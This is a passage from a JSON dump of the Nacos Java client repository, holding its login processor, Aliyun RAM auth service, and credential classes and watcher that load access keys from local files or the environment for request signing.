LoginProcessor {\n    \n    private static final Logger SECURITY_LOGGER = LoggerFactory.getLogger(HttpLoginProcessor.class);\n    \n    private static final String LOGIN_V1_URL = \"/v1/auth/users/login\";\n    \n    private static final String LOGIN_V3_URL = \"/v3/auth/user/login\";\n    \n    public static final String DEFAULT_NACOS_WEB_CONTEXT = \"/nacos\";\n    \n    private final NacosRestTemplate nacosRestTemplate;\n    \n    public HttpLoginProcessor(NacosRestTemplate nacosRestTemplate) {\n        this.nacosRestTemplate = nacosRestTemplate;\n    }\n    \n    @Override\n    public LoginIdentityContext getResponse(Properties properties) {\n        \n        String contextPath = ContextPathUtil.normalizeContextPath(\n                properties.getProperty(PropertyKeyConst.CONTEXT_PATH, DEFAULT_NACOS_WEB_CONTEXT));\n        String server = properties.getProperty(NacosAuthLoginConstant.SERVER, StringUtils.EMPTY);\n        \n        if (!server.startsWith(HTTPS_PREFIX) && !server.startsWith(HTTP_PREFIX)) {\n            if (!InternetAddressUtil.containsPort(server)) {\n                server = server + InternetAddressUtil.IP_PORT_SPLITER + ClientBasicParamUtil.getDefaultServerPort();\n            }\n            server = HTTP_PREFIX + server;\n        }\n        \n        String url = server + contextPath + LOGIN_V3_URL;\n        \n        Map<String, String> params = new HashMap<>(2);\n        Map<String, String> bodyMap = new HashMap<>(2);\n        params.put(PropertyKeyConst.USERNAME, properties.getProperty(PropertyKeyConst.USERNAME, StringUtils.EMPTY));\n        bodyMap.put(PropertyKeyConst.PASSWORD, properties.getProperty(PropertyKeyConst.PASSWORD, StringUtils.EMPTY));\n        try {\n            HttpRestResult<String> restResult = nacosRestTemplate.postForm(url, Header.EMPTY,\n                    Query.newInstance().initParams(params), bodyMap, String.class);\n            int code = restResult.getCode();\n            if (code == NacosException.NOT_FOUND || code == NacosException.SERVER_NOT_IMPLEMENTED) {\n                url = server + contextPath + LOGIN_V1_URL;\n                restResult = nacosRestTemplate.postForm(url, Header.EMPTY, Query.newInstance().initParams(params),\n                        bodyMap, String.class);\n            }\n            if (!restResult.ok()) {\n                SECURITY_LOGGER.error(\"login failed: {}\", JacksonUtils.toJson(restResult));\n                return null;\n            }\n            JsonNode obj = JacksonUtils.toObj(restResult.getData());\n            \n            LoginIdentityContext loginIdentityContext = new LoginIdentityContext();\n            \n            if (obj.has(Constants.ACCESS_TOKEN)) {\n                loginIdentityContext.setParameter(NacosAuthLoginConstant.ACCESSTOKEN,\n                        obj.get(Constants.ACCESS_TOKEN).asText());\n                loginIdentityContext.setParameter(NacosAuthLoginConstant.TOKENTTL,\n                        obj.get(Constants.TOKEN_TTL).asText());\n            } else {\n                SECURITY_LOGGER.info(\"[NacosClientAuthServiceImpl] ACCESS_TOKEN is empty from response\");\n            }\n            return loginIdentityContext;\n        } catch (Exception e) {\n            Map<String, String> newBodyMap = new HashMap<>(bodyMap);\n            newBodyMap.put(PropertyKeyConst.PASSWORD,\n                    ClientBasicParamUtil.desensitiseParameter(bodyMap.get(PropertyKeyConst.PASSWORD)));\n            SECURITY_LOGGER.error(\"[NacosClientAuthServiceImpl] login http request failed\"\n                    + \" url: {}, params: {}, bodyMap: {}, errorMsg: {}\", url, params, newBodyMap, e.getMessage());\n            return null;\n        }\n    }\n    \n}\n"
  },
  {
    "path": "client-basic/src/main/java/com/alibaba/nacos/client/auth/impl/process/LoginProcessor.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.auth.impl.process;\n\nimport com.alibaba.nacos.plugin.auth.api.LoginIdentityContext;\nimport java.util.Properties;\n\n/**\n * Nacos login processor.\n *\n * @author Nacos\n */\npublic interface LoginProcessor {\n    /**\n     * send request to server and get result.\n     *\n     * @param properties request properties.\n     * @return login identity context.\n     */\n    LoginIdentityContext getResponse(Properties properties);\n    \n}\n"
  },
  {
    "path": "client-basic/src/main/java/com/alibaba/nacos/client/auth/ram/RamClientAuthServiceImpl.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.auth.ram;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.client.auth.ram.identify.StsConfig;\nimport com.alibaba.nacos.client.auth.ram.injector.AbstractResourceInjector;\nimport com.alibaba.nacos.client.auth.ram.injector.AiResourceInjector;\nimport com.alibaba.nacos.client.auth.ram.injector.ConfigResourceInjector;\nimport com.alibaba.nacos.client.auth.ram.injector.LockResourceInjector;\nimport com.alibaba.nacos.client.auth.ram.injector.NamingResourceInjector;\nimport com.alibaba.nacos.client.auth.ram.utils.RamUtil;\nimport com.alibaba.nacos.client.auth.ram.utils.SpasAdapter;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.plugin.auth.api.LoginIdentityContext;\nimport com.alibaba.nacos.plugin.auth.api.RequestResource;\nimport com.alibaba.nacos.plugin.auth.constant.SignType;\nimport com.alibaba.nacos.plugin.auth.spi.client.AbstractClientAuthService;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.Properties;\n\n/**\n * Client Auth service implementation for aliyun RAM.\n *\n * @author xiweng.yy\n */\npublic class RamClientAuthServiceImpl extends AbstractClientAuthService {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(RamClientAuthServiceImpl.class);\n    \n    private final RamContext ramContext;\n    \n    private final Map<String, AbstractResourceInjector> resourceInjectors;\n    \n    public RamClientAuthServiceImpl() {\n        ramContext = new RamContext();\n        resourceInjectors = new HashMap<>();\n        resourceInjectors.put(SignType.NAMING, new NamingResourceInjector());\n        resourceInjectors.put(SignType.CONFIG, new ConfigResourceInjector());\n        resourceInjectors.put(SignType.LOCK, new LockResourceInjector());\n        resourceInjectors.put(SignType.AI, new AiResourceInjector());\n    }\n    \n    @Override\n    public Boolean login(Properties properties) {\n        if (ramContext.validate()) {\n            return true;\n        }\n        loadRoleName(properties);\n        loadAccessKey(properties);\n        loadSecretKey(properties);\n        loadRegionId(properties);\n        return true;\n    }\n    \n    private void loadRoleName(Properties properties) {\n        String ramRoleName = properties.getProperty(PropertyKeyConst.RAM_ROLE_NAME);\n        if (!StringUtils.isBlank(ramRoleName)) {\n            StsConfig.getInstance().setRamRoleName(ramRoleName);\n            ramContext.setRamRoleName(ramRoleName);\n        }\n    }\n    \n    private void loadAccessKey(Properties properties) {\n        ramContext.setAccessKey(RamUtil.getAccessKey(properties));\n    }\n    \n    private void loadSecretKey(Properties properties) {\n        ramContext.setSecretKey(RamUtil.getSecretKey(properties));\n    }\n    \n    private void loadRegionId(Properties properties) {\n        String regionId = properties.getProperty(PropertyKeyConst.SIGNATURE_REGION_ID);\n        ramContext.setRegionId(regionId);\n    }\n    \n    @Override\n    public LoginIdentityContext getLoginIdentityContext(RequestResource resource) {\n        LoginIdentityContext result = new LoginIdentityContext();\n        if (!ramContext.validate() || notFountInjector(resource.getType())) {\n            return result;\n        }\n        resourceInjectors.get(resource.getType()).doInject(resource, ramContext, result);\n        return result;\n    }\n    \n    private boolean notFountInjector(String type) {\n        if (!resourceInjectors.containsKey(type)) {\n            LOGGER.warn(\"Injector for type {} not found, will use default ram identity context.\", type);\n            return true;\n        }\n        return false;\n    }\n    \n    @Override\n    public void shutdown() throws NacosException {\n        SpasAdapter.freeCredentialInstance();\n    }\n}\n"
  },
  {
    "path": "client-basic/src/main/java/com/alibaba/nacos/client/auth/ram/RamConstants.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.auth.ram;\n\n/**\n * Ram auth plugin constants.\n *\n * @author xiweng.yy\n */\npublic class RamConstants {\n    \n    public static final String SIGNATURE_VERSION = \"signatureVersion\";\n    \n    public static final String V4 = \"v4\";\n    \n    public static final String SIGNATURE_V4_METHOD = \"HmacSHA256\";\n    \n    public static final String SIGNATURE_V4_PRODUCE = \"mse-nacos\";\n    \n}\n"
  },
  {
    "path": "client-basic/src/main/java/com/alibaba/nacos/client/auth/ram/RamContext.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.auth.ram;\n\nimport com.alibaba.nacos.common.utils.StringUtils;\n\n/**\n * Aliyun RAM context.\n *\n * @author xiweng.yy\n */\npublic class RamContext {\n    \n    private String accessKey;\n    \n    private String secretKey;\n    \n    private String ramRoleName;\n    \n    private String regionId;\n    \n    public String getAccessKey() {\n        return accessKey;\n    }\n    \n    public void setAccessKey(String accessKey) {\n        this.accessKey = accessKey;\n    }\n    \n    public String getSecretKey() {\n        return secretKey;\n    }\n    \n    public void setSecretKey(String secretKey) {\n        this.secretKey = secretKey;\n    }\n    \n    public String getRamRoleName() {\n        return ramRoleName;\n    }\n    \n    public void setRamRoleName(String ramRoleName) {\n        this.ramRoleName = ramRoleName;\n    }\n    \n    public String getRegionId() {\n        return regionId;\n    }\n    \n    public void setRegionId(String regionId) {\n        this.regionId = regionId;\n    }\n    \n    public boolean validate() {\n        return StringUtils.isNotBlank(ramRoleName) || StringUtils.isNotBlank(accessKey) && StringUtils\n                .isNotBlank(secretKey);\n    }\n}\n"
  },
  {
    "path": "client-basic/src/main/java/com/alibaba/nacos/client/auth/ram/identify/CredentialListener.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.auth.ram.identify;\n\n/**\n * Credential Listener.\n *\n * @author Nacos\n */\npublic interface CredentialListener {\n    \n    /**\n     * update Credential.\n     */\n    void onUpdateCredential();\n}\n"
  },
  {
    "path": "client-basic/src/main/java/com/alibaba/nacos/client/auth/ram/identify/CredentialService.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.auth.ram.identify;\n\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.util.concurrent.ConcurrentHashMap;\n\n/**\n * Credential Service.\n *\n * @author Nacos\n */\npublic final class CredentialService implements SpasCredentialLoader {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(CredentialService.class);\n    \n    private static final ConcurrentHashMap<String, CredentialService> INSTANCES = new ConcurrentHashMap<>();\n    \n    private final String appName;\n    \n    private Credentials credentials = new Credentials();\n    \n    private final CredentialWatcher watcher;\n    \n    private CredentialListener listener;\n    \n    private CredentialService(String appName) {\n        if (appName == null) {\n            String value = NacosClientProperties.PROTOTYPE.getProperty(IdentifyConstants.PROJECT_NAME_PROPERTY);\n            if (StringUtils.isNotEmpty(value)) {\n                appName = value;\n            }\n        }\n        this.appName = appName;\n        watcher = new CredentialWatcher(appName, this);\n    }\n    \n    public static CredentialService getInstance() {\n        return getInstance(null);\n    }\n    \n    public static CredentialService getInstance(String appName) {\n        String key = appName != null ? appName : IdentifyConstants.NO_APP_NAME;\n        return INSTANCES.computeIfAbsent(key, k -> new CredentialService(appName));\n    }\n    \n    public static CredentialService freeInstance() {\n        return freeInstance(null);\n    }\n    \n    /**\n     * Free instance.\n     *\n     * @param appName app name\n     * @return {@link CredentialService}\n     */\n    public static CredentialService freeInstance(String appName) {\n        String key = appName != null ? appName : IdentifyConstants.NO_APP_NAME;\n        CredentialService instance = INSTANCES.remove(key);\n        if (instance != null) {\n            instance.free();\n        }\n        return instance;\n    }\n    \n    /**\n     * Free service.\n     */\n    public void free() {\n        if (watcher != null) {\n            watcher.stop();\n        }\n        LOGGER.info(\"[{}] {} is freed\", appName, this.getClass().getSimpleName());\n    }\n    \n    @Override\n    public Credentials getCredential() {\n        return credentials;\n    }\n    \n    public void setCredential(Credentials credential) {\n        boolean changed = !(credentials == credential || (credentials != null && credentials.identical(credential)));\n        credentials = credential;\n        if (changed && listener != null) {\n            listener.onUpdateCredential();\n        }\n    }\n    \n    public void setStaticCredential(Credentials credential) {\n        if (watcher != null) {\n            watcher.stop();\n        }\n        setCredential(credential);\n    }\n    \n    public void registerCredentialListener(CredentialListener listener) {\n        this.listener = listener;\n    }\n}\n"
  },
  {
    "path": "client-basic/src/main/java/com/alibaba/nacos/client/auth/ram/identify/CredentialWatcher.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.auth.ram.identify;\n\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.common.executor.ExecutorFactory;\nimport com.alibaba.nacos.common.executor.NameThreadFactory;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.FileNotFoundException;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.net.URL;\nimport java.util.Objects;\nimport java.util.Properties;\nimport java.util.concurrent.ScheduledExecutorService;\nimport java.util.concurrent.TimeUnit;\n\n/**\n * Credential Watcher.\n *\n * @author Nacos\n */\npublic class CredentialWatcher {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(CredentialWatcher.class);\n    \n    private static final long REFRESH_INTERVAL = 10 * 1000L;\n    \n    private final CredentialService serviceInstance;\n    \n    private final String appName;\n    \n    private String propertyPath;\n    \n    private boolean stopped;\n    \n    private final ScheduledExecutorService executor;\n    \n    public CredentialWatcher(String appName, CredentialService serviceInstance) {\n        this.appName = appName;\n        this.serviceInstance = serviceInstance;\n        loadCredential(true);\n        \n        executor = ExecutorFactory.newSingleScheduledExecutorService(\n                new NameThreadFactory(\"com.alibaba.nacos.client.auth.ram.identify.watcher\"));\n        \n        executor.scheduleWithFixedDelay(new Runnable() {\n            private long modified = 0;\n            \n            @Override\n            public void run() {\n                synchronized (this) {\n                    if (stopped) {\n                        return;\n                    }\n                    boolean reload = false;\n                    if (propertyPath == null) {\n                        reload = true;\n                    } else {\n                        File file = new File(propertyPath);\n                        long lastModified = file.lastModified();\n                        if (modified != lastModified) {\n                            reload = true;\n                            modified = lastModified;\n                        }\n                    }\n                    if (reload) {\n                        loadCredential(false);\n                    }\n                }\n            }\n        }, REFRESH_INTERVAL, REFRESH_INTERVAL, TimeUnit.MILLISECONDS);\n    }\n    \n    /**\n     * Stop watcher.\n     */\n    public void stop() {\n        if (stopped) {\n            return;\n        }\n        if (executor != null) {\n            synchronized (executor) {\n                stopped = true;\n                executor.shutdown();\n            }\n        }\n        LOGGER.info(\"[{}] {} is stopped\", appName, this.getClass().getSimpleName());\n    }\n    \n    private void loadCredential(boolean init) {\n        loadPropertyPath(init);\n        InputStream propertiesIs = loadPropertyPathToStream();\n        Credentials credentials = new Credentials();\n        boolean loadResult = Objects.isNull(propertiesIs) ? loadCredentialFromEnv(init, credentials)\n                : loadCredentialFromProperties(propertiesIs, init, credentials);\n        if (!loadResult) {\n            return;\n        }\n        if (!credentials.valid()) {\n            LOGGER\n                    .warn(\"[1] Credential file missing required property {} Credential file missing {} or {}\", appName,\n                            IdentifyConstants.ACCESS_KEY, IdentifyConstants.SECRET_KEY);\n            propertyPath = null;\n            // return;\n        }\n        serviceInstance.setCredential(credentials);\n    }\n    \n    private boolean loadCredentialFromProperties(InputStream propertiesIs, boolean init, Credentials credentials) {\n        Properties properties = new Properties();\n        try {\n            properties.load(propertiesIs);\n        } catch (IOException e) {\n            LOGGER\n                    .error(\"[26] Unable to load credential file, appName:\" + appName + \"Unable to load credential file \"\n                            + propertyPath, e);\n            propertyPath = null;\n            return false;\n        } finally {\n            try {\n                propertiesIs.close();\n            } catch (IOException e) {\n                LOGGER.error(\"[27] Unable to close credential file, appName:\" + appName\n                        + \"Unable to close credential file \" + propertyPath, e);\n            }\n        }\n        \n        if (init) {\n            LOGGER.info(\"[{}] Load credential file {}\", appName, propertyPath);\n        }\n        \n        String accessKey = null;\n        String secretKey = null;\n        String tenantId = null;\n        if (!IdentifyConstants.DOCKER_CREDENTIAL_PATH.equals(propertyPath)) {\n            if (properties.containsKey(IdentifyConstants.ACCESS_KEY)) {\n                accessKey = properties.getProperty(IdentifyConstants.ACCESS_KEY);\n            }\n            if (properties.containsKey(IdentifyConstants.SECRET_KEY)) {\n                secretKey = properties.getProperty(IdentifyConstants.SECRET_KEY);\n            }\n            if (properties.containsKey(IdentifyConstants.TENANT_ID)) {\n                tenantId = properties.getProperty(IdentifyConstants.TENANT_ID);\n            }\n        } else {\n            if (properties.containsKey(IdentifyConstants.DOCKER_ACCESS_KEY)) {\n                accessKey = properties.getProperty(IdentifyConstants.DOCKER_ACCESS_KEY);\n            }\n            if (properties.containsKey(IdentifyConstants.DOCKER_SECRET_KEY)) {\n                secretKey = properties.getProperty(IdentifyConstants.DOCKER_SECRET_KEY);\n            }\n            \n            if (properties.containsKey(IdentifyConstants.DOCKER_TENANT_ID)) {\n                tenantId = properties.getProperty(IdentifyConstants.DOCKER_TENANT_ID);\n            }\n        }\n        setAccessKey(credentials, accessKey);\n        setSecretKey(credentials, secretKey);\n        setTenantId(credentials, tenantId);\n        return true;\n    }\n    \n    private boolean loadCredentialFromEnv(boolean init, Credentials credentials) {\n        propertyPath = null;\n        String accessKey = NacosClientProperties.PROTOTYPE.getProperty(IdentifyConstants.ENV_ACCESS_KEY);\n        String secretKey = NacosClientProperties.PROTOTYPE.getProperty(IdentifyConstants.ENV_SECRET_KEY);\n        if (accessKey == null && secretKey == null) {\n            if (init) {\n                LOGGER.info(\"{} No credential found\", appName);\n            }\n            return false;\n        }\n        setAccessKey(credentials, accessKey);\n        setSecretKey(credentials, secretKey);\n        return true;\n    }\n    \n    private void loadPropertyPath(boolean init) {\n        if (propertyPath == null) {\n            URL url = ClassLoader.getSystemResource(IdentifyConstants.PROPERTIES_FILENAME);\n            if (url != null) {\n                propertyPath = url.getPath();\n            }\n            if (propertyPath == null || propertyPath.isEmpty()) {\n                \n                String value = NacosClientProperties.PROTOTYPE.getProperty(\"spas.identity\");\n                if (StringUtils.isNotEmpty(value)) {\n                    propertyPath = value;\n                }\n                if (propertyPath == null || propertyPath.isEmpty()) {\n                    propertyPath =\n                            IdentifyConstants.CREDENTIAL_PATH + (appName == null ? IdentifyConstants.CREDENTIAL_DEFAULT\n                                    : appName);\n                } else {\n                    if (init) {\n                        LOGGER.info(\"[{}] Defined credential file: -Dspas.identity={}\", appName, propertyPath);\n                    }\n                }\n            } else {\n                if (init) {\n                    LOGGER.info(\"[{}] Load credential file from classpath: {}\", appName,\n                            IdentifyConstants.PROPERTIES_FILENAME);\n                }\n            }\n        }\n    }\n    \n    private InputStream loadPropertyPathToStream() {\n        InputStream propertiesIs = null;\n        do {\n            try {\n                propertiesIs = new FileInputStream(propertyPath);\n            } catch (FileNotFoundException e) {\n                if (appName != null && !appName.equals(IdentifyConstants.CREDENTIAL_DEFAULT) && propertyPath\n                        .equals(IdentifyConstants.CREDENTIAL_PATH + appName)) {\n                    propertyPath = IdentifyConstants.CREDENTIAL_PATH + IdentifyConstants.CREDENTIAL_DEFAULT;\n                    continue;\n                }\n                if (!IdentifyConstants.DOCKER_CREDENTIAL_PATH.equals(propertyPath)) {\n                    propertyPath = IdentifyConstants.DOCKER_CREDENTIAL_PATH;\n                    continue;\n                }\n            }\n            break;\n        } while (true);\n        return propertiesIs;\n    }\n    \n    private void setAccessKey(Credentials credentials, String accessKey) {\n        if (!Objects.isNull(accessKey)) {\n            credentials.setAccessKey(accessKey.trim());\n        }\n    }\n    \n    private void setSecretKey(Credentials credentials, String secretKey) {\n        if (!Objects.isNull(secretKey)) {\n            credentials.setSecretKey(secretKey.trim());\n        }\n    }\n    \n    private void setTenantId(Credentials credentials, String tenantId) {\n        if (!Objects.isNull(tenantId)) {\n            credentials.setTenantId(tenantId.trim());\n        }\n    }\n}\n"
  },
  {
    "path": "client-basic/src/main/java/com/alibaba/nacos/client/auth/ram/identify/Credentials.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.auth.ram.identify;\n\n/**\n * Credentials.\n *\n * @author Nacos\n */\npublic class Credentials implements SpasCredential {\n    \n    private volatile String accessKey;\n    \n    private volatile String secretKey;\n    \n    private volatile String tenantId;\n    \n    public Credentials() {\n        this(null, null, null);\n    }\n    \n    public Credentials(String accessKey, String secretKey, String tenantId) {\n        this.accessKey = accessKey;\n        this.secretKey = secretKey;\n        this.tenantId = tenantId;\n    }\n    \n    @Override\n    public String getAccessKey() {\n        return accessKey;\n    }\n    \n    public void setAccessKey(String accessKey) {\n        this.accessKey = accessKey;\n    }\n    \n    @Override\n    public String getSecretKey() {\n        return secretKey;\n    }\n    \n    public void setSecretKey(String secretKey) {\n        this.secretKey = secretKey;\n    }\n    \n    public String getTenantId() {\n        return tenantId;\n    }\n    \n    public void setTenantId(String tenantId) {\n        this.tenantId = tenantId;\n    }\n    \n    public boolean valid() {\n        return accessKey != null && !accessKey.isEmpty() && secretKey != null && !secretKey.isEmpty();\n    }\n    \n    /**\n     * Identical.\n     *\n     * @param other other\n     * @return true if identical\n     */\n    public boolean identical(Credentials other) {\n        return this == other || (other != null && (accessKey == null && other.accessKey == null\n                || accessKey != null && accessKey.equals(other.accessKey)) && (\n                secretKey == null && other.secretKey == null || secretKey != null && secretKey\n                        .equals(other.secretKey)));\n    }\n}\n"
  },
  {
    "path": "client-basic/src/main/java/com/alibaba/nacos/client/auth/ram/identify/IdentifyConstants.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.auth.ram.identify;\n\n/**\n * Identify Constants.\n *\n * @author Nacos\n */\npublic class IdentifyConstants {\n    \n    public static final String ACCESS_KEY = \"accessKey\";\n    \n    public static final String SECRET_KEY = \"secretKey\";\n    \n    public static final String SECURITY_TOKEN_HEADER = \"Spas-SecurityToken\";\n    \n    public static final String TENANT_ID = \"tenantId\";\n    \n    public static final String PROPERTIES_FILENAME = \"spas.properties\";\n    \n    public static final String CREDENTIAL_PATH = \"/home/admin/.spas_key/\";\n    \n    public static final String CREDENTIAL_DEFAULT = \"default\";\n    \n    public static final String DOCKER_CREDENTIAL_PATH = \"/etc/instanceInfo\";\n    \n    public static final String DOCKER_ACCESS_KEY = \"env_spas_accessKey\";\n    \n    public static final String DOCKER_SECRET_KEY = \"env_spas_secretKey\";\n    \n    public static final String DOCKER_TENANT_ID = \"ebv_spas_tenantId\";\n    \n    public static final String ENV_ACCESS_KEY = \"spas_accessKey\";\n    \n    public static final String ENV_SECRET_KEY = \"spas_secretKey\";\n    \n    public static final String ENV_TENANT_ID = \"tenant.id\";\n    \n    public static final String NO_APP_NAME = \"\";\n    \n    public static final String PROJECT_NAME_PROPERTY = \"project.name\";\n    \n    public static final String RAM_ROLE_NAME_PROPERTY = \"ram.role.name\";\n    \n    public static final String REFRESH_TIME_PROPERTY = \"time.to.refresh.in.millisecond\";\n    \n    public static final String SECURITY_PROPERTY = \"security.credentials\";\n    \n    public static final String SECURITY_URL_PROPERTY = \"security.credentials.url\";\n    \n    public static final String SECURITY_CACHE_PROPERTY = \"cache.security.credentials\";\n}\n"
  },
  {
    "path": "client-basic/src/main/java/com/alibaba/nacos/client/auth/ram/identify/SpasCredential.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.auth.ram.identify;\n\n/**\n * Spas Credential Interface.\n *\n * @author Nacos\n */\npublic interface SpasCredential {\n    \n    /**\n     * get AccessKey.\n     *\n     * @return AccessKey\n     */\n    String getAccessKey();\n    \n    /**\n     * get SecretKey.\n     *\n     * @return SecretKey\n     */\n    String getSecretKey();\n}\n"
  },
  {
    "path": "client-basic/src/main/java/com/alibaba/nacos/client/auth/ram/identify/SpasCredentialLoader.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.auth.ram.identify;\n\n/**\n * Spas Credential Loader.\n *\n * @author Nacos\n */\npublic interface SpasCredentialLoader {\n    \n    /**\n     * get Credential.\n     *\n     * @return Credential\n     */\n    SpasCredential getCredential();\n}\n"
  },
  {
    "path": "client-basic/src/main/java/com/alibaba/nacos/client/auth/ram/identify/StsConfig.java",
